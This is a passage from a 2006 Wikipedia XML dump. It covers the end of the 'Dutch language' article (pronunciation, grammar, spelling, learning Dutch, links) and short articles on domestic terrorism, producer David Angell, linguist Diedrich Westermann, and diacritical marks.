Because of assimilation, often the initial consonant of the next word is also devoiced, e.g. ''het vee'' (the cattle) is {{IPA|/(h)&amp;#601;tfe/}}. This process of devoicing is taken to an extreme in some regions (Amsterdam, Friesland) with almost complete loss of {{IPA|/v/}},{{IPA|/z/}} and {{IPA|/&amp;#611;/}}. Further south these phonemes are certainly present in the middle of a word. Compare e.g. ''logen'' and ''loochen'' {{IPA|/lo&amp;#611;&amp;#601;n/}} vs. {{IPA|/lox&amp;#601;n/}}. In the South (i.e. Zeeland, Brabant and Limburg) and in Flanders the contrast is even greater because the g becomes a palatal. ('soft g').

The final 'n' of the plural ending -en is normally not pronounced (as in Afrikaans), except in the North East (Low Saxon) and the South West (West Flemish) where the ending becomes a syllabic n sound.

Dutch is a stress language, the stress position of words matters. Stress can occur on any syllable position in a word. There is a tendency for stress to be at the beginning of words. In composite words, secondary stress is often present. There are some cases where stress is the only difference between words. For example ''vóórkomen'' (occur) and ''voorkómen'' (prevent). Marking the stress in written Dutch is optional, never obligatory, but sometimes recommended.

===Historical sound changes===
Dutch (with the exception of the Limburg dialects) did not participate in the second (High German) sound shifting - compare German ''machen'' {{IPA|/-x-/}} Dutch ''maken'', English ''make'', German ''Pfanne'' {{IPA|/pf-/}}, Dutch ''pan'', English ''pan'', German ''zwei'' {{IPA|/ts-/}}, Dutch ''twee'', English ''two''.

It also underwent a few changes of its own. For example, words in -old or -olt lost the l in favor of a [[diphthong]]. Compare English ''old'', German ''alt'', Dutch ''oud''. A word like ''hus'' with {{IPA|/u/}} (English &quot;house&quot;) first changed to ''huus'' with {{IPA|/y/}}, then finally to ''huis'' with a diphthong that resembles the one in French ''l'oeil''. The phoneme /g/ was lost in favor of a (voiced) velar [[fricative]] {{IPA|/&amp;#611;/}}, or a voiced palatal fricative (in the South: Flanders, Limburg).

==Grammar==
:''Main article: [[Dutch grammar]]''

Like all other continental West Germanic languages, Dutch has a word order that is markedly different from English, which presents a problem for some Anglophones learning Dutch.

The Dutch written grammar has simplified over the past 100 years: cases are now mainly used for the pronouns, such as ''ik'' (I), ''mij, me'' (me), ''mijn'' (my), ''wie'' (who), ''wiens, wier'' (whose), although the latter is quite formal and rarely used in speech, comparable to English ‘whom’. Nouns and adjectives are not case inflected (except for the genitive of nouns: -'s or -'). In the spoken language cases and case inflections had already gradually disappeared from a much earlier date on (probably the 15th century) as in many continental West Germanic dialects.

Inflection of adjectives is a little more complicated: nothing with indefinite neuter nouns in singular and -e in all other cases:
:''een mooi huis'' (a beautiful house)
:''het mooi'''e''' huis'' (the beautiful house)
:''mooi'''e''' huizen'' (beautiful houses)
:''de mooi'''e''' huizen'' (the beautiful houses)
:''een mooi'''e''' vrouw'' (a beautiful woman)

More complex inflection is still found in certain lexicalized expressions like ''de heer de'''s''' hui'''zes''''' (litt.: the man of the house), etc. These are usually remnants of cases (in this instance, the genitive case which is still used in German, cf. ''Der Herr des Hauses'') and other inflections no longer in general use today. In such lexicalized expressions remnants of strong and weak nouns can be found too, e.g. ''in het jaar des Her'''en''''' (Anno Domini), where “-en” is actually the genitive ending of the weak noun. Also in this case, German [[German_grammar#Irregular_declensions|retains this feature]].

Dutch nouns can take endings for size: -je for singular [[diminutive]] and -jes for plural diminutive. Between these [[suffix]]es and the radical can come extra letters depending on the ending of the word:
:''boom'' (tree) - ''boom'''pje'''''
:''ring'' (ring) - ''ring'''etje'''''
:''koning'' (king) - ''konin'''kje'''''
:''tien'' (ten) - ''tien'''tje'''''

Like most Germanic languages, Dutch forms left-branching noun [[compound (linguistics)|compound]]s, where the first noun modifies the category given by the second, for example: ''hondenhok'' (doghouse). Unlike English, where newer compounds or combinations of longer nouns are often written in open form with separating spaces, Dutch (like the other Germanic languages) always uses the closed form without spaces, for example: boomhuis (eng. tree house). Like German, Dutch allows arbitrarily long compounds, but these are rare. The longest serious entry in the Van Dale dictionary is ''wapenstilstandsonderhandeling'' (ceasefire negotiation). Sometimes ''hottentottensoldatententententoonstellingsterreinen'' (hottentot soldiers tents exhibition terrains) is jocularly quoted as the longest Dutch word (note the four times consecutive ''ten''), but outside this usage it actually never occurs. Notwithstanding these rules, many Dutch people tend to write words which should be compound words, separately, which is sometimes dubbed “the English disease”.

==Vocabulary==
:''See the [[Wiktionary:Category:Dutch language|list of Dutch words]] and [[Wiktionary:Category:Dutch derivations|list of words of Dutch origin]] at [[Wiktionary]], the free dictionary and Wikipedia's sibling project''

Dutch has more French [[loanword]]s than German, but much fewer than English. The number of English loanwords in Dutch is substantial and steadily increasing, especially on the streets and some professions. New loanwords are almost never pronounced as the original English word, or are spelled differently. Like English, Dutch also has words of Greek and Latin origin. There are also some German loanwords, like ''überhaupt'' and ''sowieso''. Even though few true loanwords are present, German has had a considerable effect upon the lexicon of the language, mainly by the change of German words into words that seem Dutch (so called ''germanisme''), a process probably to be ascribed to the likeness of the two languages. Most of these forms have become so integral to Dutch that few Dutch notice them; they include words like ''opname'' (from German ''Aufnahme''), ''aanstalten'' (''Anstalten'') and many more.

==Writing system==
Dutch is written using the [[Latin alphabet]], see [[Dutch alphabet]]. One of the clues to recognise that a piece of text is written in Dutch, is the occurrence of many doubled letters. This happens both to vowels and consonants. One cause is the many compound words where the same letter ends one part and begins the next part. Another cause is formed by spelling devices used to distinguish the many more vowel sounds in the Dutch language, than there are vowel letters in the Latin alphabet (see [[Dutch orthography]]). A prime example is the word ''voorraaddoos'' (supply box).

The [[diaeresis]] is used to mark vowels that are pronounced separately, and called [[diaeresis|trema]]. In the most recent spelling reform, a hyphen has replaced the trema in a few words where it had been previously used: ''zeeëend'' (seaduck) is now spelled ''zee-eend''.

The [[acute accent]] (accent aigu) occurs mainly on loanwords like ''café'', but can also be used for emphasis or to differentiate between two forms. Its most common use is to differentiate between the indefinite [[article (grammar)|article]] 'een' (a, an) and the numeral 'één' (one).
The [[grave accent]] (accent grave) is used to clarify pronunciation ('hè' (what?, what the ...?), 'bèta') and in loanwords ('caissière' (cashier), 'après-ski'). In the recent spelling reform, the accent grave was dropped as stress sign on short vowels in favour of the accent aigu (e.g. 'wèl' was changed to 'wél').
Other [[Diacritic|diacritical marks]] such as the [[circumflex]] only occur on a few words, most of them loanwords from [[French language|French]].

The most important dictionary of the modern Dutch language is the ''Van Dale groot woordenboek der Nederlandse taal''[http://www.vandale.nl], more commonly referred to as the ''Dikke van Dale'' (&quot;dik&quot; is Dutch for &quot;fat&quot; or &quot;thick&quot;), or as linguists nicknamed it: De Vandaal (the [[vandal]]). However, it is dwarfed by the &quot;Woordenboek der Nederlandsche taal&quot;, a scholarly endeavour that took 147 years from initial idea to first edition, resulting in over 45,000 pages.

The semi-official spelling is given by the ''Woordenlijst Nederlandse taal'', more commonly known as &quot;het groene boekje&quot; (i.e. &quot;the green booklet&quot;, because of its colour.)

==Dutch as a foreign language==

The number of non native speakers of Dutch who voluntarily learn the language is small. This is partly because Dutch is not geographically widespread and because in its home countries [[The Netherlands]] and [[Belgium]] most of the population is proficient in other [[European]] [[languages]]. In [[The Netherlands]] German is spoken with a high level of proficiency (especially in the regions bordering [[Germany]]) and the language is part of the core curriculum in schools for 2-5 years. In Belgium, German is less widely spoken, and not always required, but it still spoken by a considerable number of people.

[[French language|French]] is also taught for 3-6 years in the Netherlands, but it is not as widely spoken. In Flanders ([[Belgium]]) French is required from age 10 to 18 and is very widely spoken, not so strange when one considers that the southern half of Belgium, [[Wallonia]], is Francophone.

In both [[The Netherlands]] and [[Flanders]] [[English language|English]] is taught in schools from a young age - occasionally from age 11 or 12, but typically until the completion of secondary education. Most universities in the two countries, recognising the importance of the English language in the modern world, continue to teach the language to those students who need to improve their skills. As a result English is spoken throughout [[The Netherlands]] and [[Belgium]] with members of the younger generation sometimes being fluent or near fluent speakers. The majority of the [[population]] of both countries speak some English, some in an advanced form of [[Globish]].

Some non native residents of [[The Netherlands]] or [[Belgium]] have never learnt to speak Dutch - perhaps put off by its guttural sound or by a perception of its difficulties. Moreover, and especially in Belgium, the difference between the standard language and the language people speak (their local dialect or, more often, a version of the standard language heavily influenced by it) can be very important and cause difficulties. There is also the problem that because the native Dutch speakers themselves are often so linguistically proficient they will try and help a struggling Dutch learner by addressing them in their own language!

The Dutch often make fun of their own language — for example Tom Meyer, a radio commentator, used to say on air that &quot;Dutch isn't a language; it's a disease of the throat.&quot; Pronunciation can be a challenge as many of the Dutch vowel sounds are difficult for non native speakers. [[Diphthong]]s such as the &quot;ui&quot; sound in such words as &quot;huis&quot; (house) and &quot;muis&quot; (mouse), the &quot;eu&quot; in sleutel (key), and the &quot;ij&quot; sound in words like &quot;fijn&quot; (fine) or &quot;wijn&quot; (wine) present difficulties and even though some of these words are superficially like their English equivalents the correct sound is very different. Its cohesiveness sometimes also produces words that might baffle speakers of other languages due to the high amount of consecutive consonants, such as the word &quot;angstschreeuw&quot; (scream in fear), which has grand total of eight in a row (ngstschr). Native speakers of German usually have the biggest advantage of all people when learning Dutch from a grammar and vocabulary point of view but almost always struggle with the pronunciation. However those residents or visitors who do learn some Dutch will be rewarded, not only by the extra fillip this gives to their understanding of Dutch history and culture, but also because it will enable them to converse with people in areas away from the big cities where other languages are less commonly spoken and experience that other Dutch [[culture]].

==See also==
* [[Bargoens]]
* [[List of common phrases in various languages]]
* [[Dutch grammar]]
* [[Dutch orthography]]
* [[Dutch literature]]

==External links==
{{InterWiki|code=nl}}
{{Wikibookspar||Dutch}}
{{commons|Dutch pronunciation|Dutch pronunciation}}
*[http://www.linguasphere.net/secure/ip/pdf/zones/52.pdf Linguasphere on dialects of the Dutch language and other languages]
*[http://www.learnonline.nl Online Nederlands leren]
*[http://www.leren.nl/rubriek/talen/nederlands/learn_dutch/ Learn the Dutch Language]
*[http://www.ned.univie.ac.at/publicaties/taalgeschiedenis/en/ History of the Dutch Language]
*[http://www.taalunieversum.org/ Nederlandse Taalunie &amp; Taalunieversum] (Dutch Language Union -- in Dutch)
*[http://www.forbeginners.info/dutch/ Dutch for Beginners] (Introduction to Dutch grammar and vocabulary)
*[http://oase.uci.kun.nl/~ans/ Algemene Nederlandse Spraakkunst] (General Dutch Grammar -- in Dutch)
*[http://www.dutchgrammar.com/ Online Dutch Grammar Course] (Dutch Grammar -- in English)
*[http://www.sprachprofi.de.vu/english/nl.htm Free online resources for learners]
*[http://www.ethnologue.com/show_language.asp?code=nld Ethnologue report for Dutch]
*[http://www.uoc.es/euromosaic/web/document/neerlandes/an/i1/i1.html Euromosaic - Flemish in France] - The status of Dutch in France
*[http://www.phon.ucl.ac.uk/home/sampa/dutch.htm Sampa for Dutch]
* [http://language-directory.50webs.com/languages/dutch.htm List of online Dutch-related resources]
* [http://www.ielanguages.com/dutch.html Dutch Language Tutorial at ielanguages.com]
*[http://homepage.mac.com/schuffelen/index.html Dutch pronounced]
*[http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=25&amp;learn-Dutch/ Learn and listen to useful expressions in Dutch] Each expression is presented with an audio recording and an illustration
*[http://www.ucl.ac.uk/dutch/grammatica/ University College London Department of Dutch] (Grammar)
*[http://www.geocities.com/stevenedw/nieuwespelling.html &quot;Nieuwe spelling:&quot;] A description of the most recent incarnation of the evolving official Dutch-language orthography 

===Dictionaries===
*[http://nl.wiktionary.org/ WikiWoordenboek, the Dutch Wiktionary]
*[http://www.dicts.info/dictlist1.php?k1=25 All Dutch free dictionaries]
*[http://blackorwhite.nl/woordenboek/ Online Nederlands Woordenboek]
*[http://www.majstro.com/Web/Majstro/taleninfo/dut_en.php Majstro Dutch-English-Dutch Online Dictionary]
*[http://lookwayup.com/free/DutchEnglishDictionary.htm Lookwayup English-Dutch-English dictionary]
*[http://www.freedict.com/onldict/dut.html Freedict English-Dutch-English dictionary]
*[http://dictionaries.travlang.com/DutchEnglish/ Travlang Dutch-English dictionary]
*[http://www.euroglotonline.nl/ Euroglot] (Translation Dictionary)
*[http://www.vandale.nl/ Van Dale] (Dictionary -- in Dutch)
*[http://www.woorden-boek.nl/ Woorden-Boek] (Online Dictionary -- in Dutch)
*http://www.notam02.no/~hcholm/altlang/ht/Dutch.html - The Alternative Dutch Dictionary
*[http://www.websters-online-dictionary.org/definition/Flemish-english/ Flemish - English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition.
*[http://www.websters-online-dictionary.org/definition/Dutch-english/ Dutch - English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition.
*[http://www.woc.science.ru.nl/ A dictionary of Organic Chemistry (in Dutch)]
*[http://www.woordenboekjes.nl/ Dutch all dictionaries project (Dutch-*, in Dutch)]

{{Official EU languages}}

[[Category:Dutch language|*]]
[[Category:Languages of Belgium]]
[[Category:Languages of the Netherlands]]
[[Category:Low Franconian languages]]
[[Category:Low Germanic languages]]

[[af:Nederlands (taal)]]
[[als:Niederländisch]]
[[ang:Niðerlandisc sprǣc]]
[[ar:لغة هولندية]]
[[bg:Нидерландски език]]
[[ca:Neerlandès]]
[[cs:Nizozemština]]
[[cy:Iseldireg]]
[[da:Nederlandsk (sprog)]]
[[de:Niederländische Sprache]]
[[et:Hollandi keel]]
[[es:Idioma neerlandés]]
[[eo:Nederlanda lingvo]]
[[fr:Néerlandais]]
[[fy:Nederlânsk]]
[[ga:Ollainis]]
[[ko:네덜란드어]]
[[id:Bahasa Belanda]]
[[it:Lingua olandese]]
[[he:הולנדית]]
[[kw:Iseldiryek]]
[[la:Lingua Batava]]
[[lv:Nīderlandiešu valoda]]
[[li:Nederlands]]
[[nl:Nederlands]]
[[nds:Nedderlandsche Spraak]]
[[ja:オランダ語]]
[[no:Nederlandsk språk]]
[[nn:Nederlandsk språk]]
[[pl:Język niderlandzki]]
[[pt:Língua neerlandesa]]
[[ro:Limba neerlandeză]]
[[ru:Нидерландский язык]]
[[se:Hollánddagiella]]
[[sco:Dutch leid]]
[[sk:Holandčina]]
[[sl:Nizozemščina]]
[[fi:Hollannin kieli]]
[[sv:Nederländska]]
[[tl:Wikang Olandes]]
[[tr:Flemenkçe]]
[[uk:Нідерландська мова]]
[[zh:荷蘭語]]</text>
    </revision>
  </page>
  <page>
    <title>Domestic terrorism</title>
    <id>8435</id>
    <revision>
      <id>33740041</id>
      <timestamp>2006-01-03T17:03:46Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/12.41.207.162|12.41.207.162]] ([[User talk:12.41.207.162|talk]]) to last version by Kbdank71</comment>
      <text xml:space="preserve">{{terrorism}}
'''Domestic terrorism''' is a phrase used to describe some acts of political [[violence]] within a [[state]] that are carried out or commissioned by forces inside or originating from that state, as opposed to external attacks.

Examples of recent domestic terrorism are the [[Oklahoma City bombing]], the [[Centennial Olympic Park bombing|Atlanta Olympics pipebombing]], the [[Sarin gas attack on the Tokyo subway]], and [[David Copeland]]'s nailbombing campaign against ethnic minorities and gays in [[London]]. Older examples are the [[Gunpowder Plot]], the [[Haymarket Riot|Haymarket Square bombing]], and [[John_Brown (abolitionist)#Raid_on_Harpers_Ferry|Harper's Ferry]].

Domestic terrorism is considered rare in the [[United States]]. As a result, the Oklahoma City bombing was at first thought by some [[Journalism|journalists]] to be the work of external actors, possibly from the [[Middle East]]. The revelation that the attack had been carried out by an American came as a shock to the country and the rest of the world, and served as an embarrassment to some sections of the [[news media]].

The [[Patriot Act]] designates domestic terrorism as a crime.  However, the Patriot Act does not give the meaning of domestic terrorism as designated as a crime, leaving the intepretation of the acts, statements or preparations which may constitute domestic terrorism to whomever may wish to interpret them.  For this reason, such acts as [[civil disobedience]] and [[political incorrectness]] can be interpreted as domestic terrorism, thus having a [[chilling effect]] on [[public participation]] and [[freedom of expression]].

==See also==
* [[Operation Northwoods]]
* [[Politically motivated violence]]
* [[Terrorism]] (includes international terrorism)
* [[Treason]]
* [[State terrorism]]
* [[State sponsored terrorism]]


[[Category:Terrorism]]


{{politics-stub}}</text>
    </revision>
  </page>
  <page>
    <title>David Angell</title>
    <id>8436</id>
    <revision>
      <id>40525651</id>
      <timestamp>2006-02-21T05:19:59Z</timestamp>
      <contributor>
        <ip>203.96.99.37</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Davidangell.jpg|thumb|200px|David Angell, a popular television producer, was a victim of the September 11, 2001 attacks on New York City.]]
'''David Lawrence Angell''' ([[April 10]], [[1946]] – [[September 11]], [[2001]]) was an [[United States|American]] television [[Situation comedy|sitcom]] [[television producer|producer]]. A native of [[West Barrington, Rhode Island|West Barrington]], [[Rhode Island]], and a graduate of [[Providence College]], he was a longtime [[NBC]] producer who played a leading role in creating &lt;cite&gt;[[Frasier]]&lt;/cite&gt;, &lt;cite&gt;[[Wings (sitcom)|Wings]]&lt;/cite&gt;, and &lt;cite&gt;[[Cheers]]&lt;/cite&gt;. 

Angell was returning to [[Los Angeles, California|Los Angeles]] with his wife, Lynn, after attending a family wedding in [[Chatham, Massachusetts]] when he was killed in the crash of [[American Airlines Flight 11]] in the [[September 11, 2001 Terrorist Attack]]. He was survived by his brother, [[Kenneth A. Angell]], the [[Catholicism|Roman Catholic]] [[Roman Catholic Diocese of Burlington|Bishop of Burlington, Vermont]].

See [[:sep11:|Casualties of the September 11, 2001 attacks]].

==External links==
*[http://www.nytimes.com/2001/09/14/obituaries/14ANGE.html NY Times--David Angell, a Creator and Writer for 'Frasier' Sitcom, Dies at 54]

[[Category:Victims of the September 11, 2001 attacks|Angell, David]]
[[Category:1946 births|Angell, David]]
[[Category:2001 deaths|Angell, David]]
[[Category:American television producers|Angell, David]]
[[Category:People from Rhode Island|Angell, David]]
[[Category:Roman Catholics|Angell, David]]
[[Category:Entertainers who died in their 50s|Angell, David]]</text>
    </revision>
  </page>
  <page>
    <title>Diedrich Hermann Westermann</title>
    <id>8437</id>
    <revision>
      <id>33784122</id>
      <timestamp>2006-01-04T00:13:41Z</timestamp>
      <contributor>
        <username>Codex Sinaiticus</username>
        <id>247981</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Westermann 1911 Sudansprachen cover.jpg|right|thumb|220px|Westermann's 1911 ''Die [[Sudanic languages|Sudansprachen]]''.]]'''Diedrich Hermann Westermann''' ([[June 24]], [[1875]]&amp;ndash;[[May 31]], [[1956]]) was a [[Germany|German]] missionary, [[Africanist]], and [[linguistics | linguist]]. He substantially extended and revised the work of [[Carl Meinhof]], his teacher, although he rejected some of Meinhof's theories only implicitly. Westermann is seen as one of the founders of modern [[Africa|African]] linguistics. 

He carried out extensive linguistic and anthropological research in the area ranging from Senegal eastwards to the Upper Nile. His linguistic publications cover a wide range of African languages, including the [[Gbe languages]], [[Nuer language|Nuer]], [[Kpelle language|Kpelle]], [[Shilluk language|Shilluk]], [[Hausa language|Hausa]], and [[Guang language|Guang]]. His comparative work, establishing a basic division between the East and West [[Sudanic languages]] laid the basis for much of today's [[Niger-Congo]] and [[Nilo-Saharan]] language families.

In [[1927]] Westermann published a ''Practical Orthography of [[African Languages]]'' which became later known as the ''Westermann script''. Subsequently he published the influential and oft-reprinted ''[[Practical Phonetics for Students of African Languages]]'' in collaboration with [[Ida C. Ward|Ida Ward]] (1933).

He was born in [[Baden, Lower Saxony|Baden]] near [[Bremen (city)|Bremen]] and also died there. 

==Bibliography==
*Westermann, Diedrich H. (1911) ''Die Sudansprachen'' [The Sudanic languages].
*Westermann, Diedrich Hermann &amp; Ward, Ida C. (1933) ''Practical phonetics for students of African languages''. London: Oxford University Press for the International African Institute.
* Westermann, Diedrich H. (1948). ''The missionary and anthropological research''. Oxford University Press for the International African Institute.
* Westermann, Diedrich H. (1949). ''Sprachbeziehungen und sprachverwandtschaft in Afrika''. Sitzungsberichte der Deutschen Akademie der Wissenschaften zu Berlin, Philosophisch-Historische Klasse, 1948 (Nr. 1). Berlin: Akademie-Verlag.
* Westermann, Diedrich H. (1952). ''The languages of West Africa''. Oxford: Oxford University Press.
* Westermann, Diedrich H. (1964). ''Practical phonetics for students of African languages'' (4th improvement). Oxford: Oxford University Press.

==External links==
* [http://www.bautz.de/bbkl/w/westermann_d_h.shtml Biographisch-Bibliographisch Kirchenlexikon] (entry on Westermann by Helma Pasch)


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[[Category:1875 births|Westermann, Diedrich Hermann]]
[[Category:1956 deaths|Westermann, Diedrich Hermann]]
[[Category:German linguists|Westermann, Diedrich Hermann]]
[[Category:Inventors of writing systems|Westermann, Diedrich Hermann]]


[[de:Diedrich Westermann]]</text>
    </revision>
  </page>
  <page>
    <title>Diedrich Westermann</title>
    <id>8438</id>
    <revision>
      <id>15906438</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diedrich_Hermann_Westermann]]
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  </page>
  <page>
    <title>Diacritic</title>
    <id>8439</id>
    <revision>
      <id>41833768</id>
      <timestamp>2006-03-02T01:14:10Z</timestamp>
      <contributor>
        <ip>70.29.60.170</ip>
      </contributor>
      <text xml:space="preserve">{{Diacritical marks}}
A '''diacritical mark''' or '''diacritic''', sometimes called an '''accent mark''', is a mark added to a [[letter (alphabet)|letter]] to alter a word's pronunciation or to distinguish between similar words. The word derives from the [[Greek language|Greek]] word διακριτικός (''distinguishing''). Note that ''diacritic'' is a noun and ''diacritical'' is the corresponding adjective.

A diacritical mark can appear above or below the letter to which it is added, or in some other position; however, note that not all such marks are diacritical. For example, in [[English language|English]], the [[tittle]] (dot) on the letters ''i'' and ''j'' is not a diacritical mark, but rather part of the letter itself. Further, a mark may be diacritical in one language, but not in another; for example, in [[Catalan language|Catalan]], [[Portuguese language|Portuguese]] or [[Spanish language|Spanish]], ''u'' and ''ü'' are considered the same letter, while in  [[German language|German]], [[Estonian language|Estonian]], [[Hungarian language|Hungarian]], [[Turkish language|Turkish]] or [[Azeri language|Azeri]] they are considered to be separate letters.

The main usage of a diacritic is to change the phonetic meaning of the letter, but the term is also used in a more general sense of changing the meaning of the letter or even the whole word.  Examples are writing numerals in [[numeral system]]s, such as early [[Greek numerals]] and marking abbreviations with the [[titlo]] in old [[Slavic languages|Slavic]] texts.

== Types of diacritic ==

* [[Dot (diacritic)|dot]]
* (''' ˙ ''') ''[[anunaasika]]'' superdot
* (''' . ''') ''[[anusvaara]]'' subdot, used in [[Sanskrit]]
* (''' ¸ ''') ''[[cedilla]]''
* (''' ˛ ''') ''[[ogonek]]'' or &quot;Polish hook&quot;
* (''' ° ''') ''[[kroužek]]'' or [[ring (diacritic)|ring]]; unlike in [[Czech language|Czech]], in the [[Scandinavian languages]] this is not considered a diacritic but an integral part of the character ''å''.
* (''' ˘ ''') [[breve]]; part of the character when used in [[Esperanto]]
* (''' ˇ ''') [[caron]] or ''[[háček]]'' (&quot;little hook&quot; in Czech). In Slovak it is called ''mäkčeň'' (&quot;softener&quot; or &quot;palatalization mark&quot;), in Slovenian ''strešica'' (&quot;little roof&quot;), in Croatian ''kvačica'' (&quot;little hook&quot;).
* (''' ^ ''') [[circumflex]], part of the character when used in [[Esperanto]], also in Slovak is used on &quot;o&quot; and it is called ''vokáň'' 
* (''' ¯ ''') [[macron]]
* (''' ¨ ''') [[diaeresis]] (also dieresis) or [[umlaut]], a diacritic in some languages (such as [[German language|German]]), but part of the character in the [[Swedish language|Swedish]] and [[Russian language]]s.
* accent
** (''' ` ''') [[grave accent]]
** (''' ´ ''') [[acute accent]]
** (''' ˝ ''') [[double acute accent]]
* (''' {{polytonic |&amp;nbsp;&amp;#788;}} ''') ''[[spiritus asper]]'' or rough breathing mark
* (''' {{polytonic |&amp;nbsp;&amp;#787;}} ''') ''[[spiritus lenis]]'' or smooth (or soft) breathing mark
* [[hook (diacritic)|hook]] (dấu hỏi), as used in [[Vietnamese language|Vietnamese]]

Marks that are sometimes diacritics, but also have other uses, are:

* (''' | ''') [[bar (diacritic)|bar]] through the basic letter
* (''' , ''') [[comma (punctuation)|comma]]
* (''' ~ ''') [[tilde]]
* ( {{unicode|&amp;#1155;}} ) [[titlo]], used to indicate abbreviation in the [[early Cyrillic alphabet]]
* (''' ' ''') [[apostrophe (punctuation)|apostrophe]]
* (''' : ''') [[colon (punctuation)|colon]], used to attach native affixes (such as [[declension|case]] markers) to foreign words and abbreviations
* (''' - ''') [[hyphen]] - in English, hyphens can be used to break words between syllables, to resolve ambiguities in pronunciation:
** repair (fix) compared to re-pair (pair again).
** Kuringgai  becomes  Ku-ring-gai.

==Usage==

* [[Catalan language|Catalan]] has grave, acute, cedilla and diaeresis. 

* Several [[Chinese language|Chinese]] [[romanization]]s use umlaut, but only on ''u'' (''ü''). In [[Hanyu Pinyin]], the four [[Tone (linguistics)|tones]] of [[Mandarin Chinese]] are denoted by the macron, acute, caron and grave diacritics.

* [[Czech language|Czech]] has acute, caron and ring. 

* [[Dutch language|Dutch]] uses diaeresis. For example in ''ruïne'' it means that the u and i are separately pronounced in their usual way, and not in the way that the combination ui is normally pronounced. Thus it works as a separation sign and not as an indication for an alternative version of the i. Diacritics can be used for emphasis (''érg koud'' for ''very'' cold) or for disambiguation between the numeral one (''één appel'', one apple) and the indefinite article (''een appel'', an apple). Grave and acute accents are used on a very small number of words, mostly loanwords.

* In [[Estonian language|Estonian]], carons in ''š'' or ''ž'' may appear only in foreign proper names and [[loanwords]], but may be also substituted with ''sh'' or ''zh'' in some texts. Apostrophe can be used in declension of some foreign names to separate the stem from any [[declension]] endings; e.g., ''Monet' '' or ''Monet'sse'' for the [[genitive case]] and [[illative case]], respectively, for (the famous painter) &quot;Monet&quot;. 

* [[French language|French]] uses grave, acute, circumflex, cedilla and diaeresis. However, not all diacritics occur on all vowels in French: 
** Acute (''accent aigu'') only occurs on ''e'' (''é'', pronounced /e/)
** Grave (''accent grave'') occurs on ''e'' (''è'', pronounced /ε/), ''a'' (''à''), and ''u'' (''ù'')
** Circumflex (''accent circonflexe'') occurs on all vowels: ''e'' (''ê'', pronounced /ε/), ''a'' (''â'', pronounced /α/), ''i'' (''î''), ''o'' (''ô'', pronounced /o/), and ''u'' (''û''; if occurring in the combination ''eû'', pronounced /ø/)
** Cedilla (''cédille'') is used only under the ''c'' (''ç'', pronounced /s/). It is used in cases in which a ''c'' is soft before ''a'', ''o'', or ''u'', such as ''ça'' (pronounced /sa/, not /ka/).
** Diaeresis (''tréma'') occurs on ''e'' (''ë''), ''i'' (''ï''), ''u'' (''ü''), and ''y'' (''ÿ''). The diaeresis only occurs on ''y'' in a few proper nouns, including ''Louÿs'' and ''[[L'Haÿ-les-Roses]]''. The mark's function is to indicate that the vowel is pronounced separately from the one just before it.
** Diacritics are sometimes omitted from [[majuscule|capitalized]] letters, especially in France.
** Not all French diacritics affect pronunciation. However, all cases in which they do have been noted in the foregoing.

* [[Finnish language|Finnish]] uses a colon to decline loanwords and abbreviations; e.g., ''USA:han'' for the illative case of &quot;USA&quot;. Also characters ''ä'' and ''ö'' are part of the Finnish alphabet (''a'' and ''o'' with ''Umlaut'').

*[[German language|German]] has the ''Umlaut'' (¨). This can be used over ''a'', ''o'', or ''u'' to indicate vowel modification. For instance: ''Ofen'' (/'o:fən/); ''Öfen'' (/'ø:fən/), which in this case makes the difference between singular and plural (“oven”/“ovens”). The sign originated in a superscript ''e''; a handwritten [[Sütterlin]] ''e'' resembles two parallel vertical lines, like an umlaut.

* [[Hawaiian language|Hawaiian]] has [[kahako]]s (macrons) and [[okina]]s ({{unicode|&amp;#699;}}); often rendered as (‘).

* [[Irish language|Irish]] uses acute accent to indicate that the vowel is [[vowel length|long]].  It is known as ''síneadh fada'' in Irish.

* [[Italian language|Italian]] uses acute and grave to indicate irregular stress patterns (as in ''più'', which would otherwise be stressed on the ''i'') and to distinguish words that would otherwise be [[homograph]]s (such as ''te'' [&quot;you&quot;] and ''tè'' [&quot;tea&quot;]).  In many words, acute and grave are interchangeable.

* Romanized [[Japanese language|Japanese]] ([[Romaji]]) uses diacritics to mark long vowels. The [[Hepburn romanization]] system uses a [[macron]] to mark [[long vowels]], and the [[Kunrei-shiki]] and [[Nihon-shiki]] systems use a [[circumflex]].

* [[Lithuanian language|Lithuanian]] uses the [[acute]], [[grave]] and [[tilde]] in dictionaries to indicate stress types in the language's [[pitch stress]] system.  In general usage, where letters appear with the [[caron]] (''č, š'' and ''ž'') they are considered as separate letters from ''c, s'' or ''z'' and collated separately; letters with the [[ogonek]] (''ą, ę, į'' and ''ų''), the [[macron]] (''ū'') and the [[anunaasika|superdot]] (''ė'') are considered as separate letters as well, but not given a unique collation order.

* [[Portuguese language|Portuguese]] uses acute (to mark stressed vowels), grave (to mark the assimilation of two identical vowels into one, now used only on A), circumflex (marks both the stress and the roundness, being deprecated in this second use), cedilla (to mark the pronunciation of C as /s/ instead of /k/ before A, O and U and tilde (to mark the nasalisation of A and O). In [[Brazil]] diaeresis is also used to differ the pronunciation of groups like ''qüe'', and ''güi'' (respetively /kwe/ and /gwi/) from ''que'' and ''gui'' (/ke/ and /gi/).

* Many [[Slavic languages|Slavic]] and [[Baltic languages|Baltic]] languages use caron to signify either [[palatalisation]] or [[iotation]].

* Many Slavic languages that use the Latin alphabet have [[ogonek]] and [[bar (diacritic)|bar]].

* [[Slovak language|Slovak]] has acute, caron, circumflex (only above ''o'') and diaresis (only above ''a'').

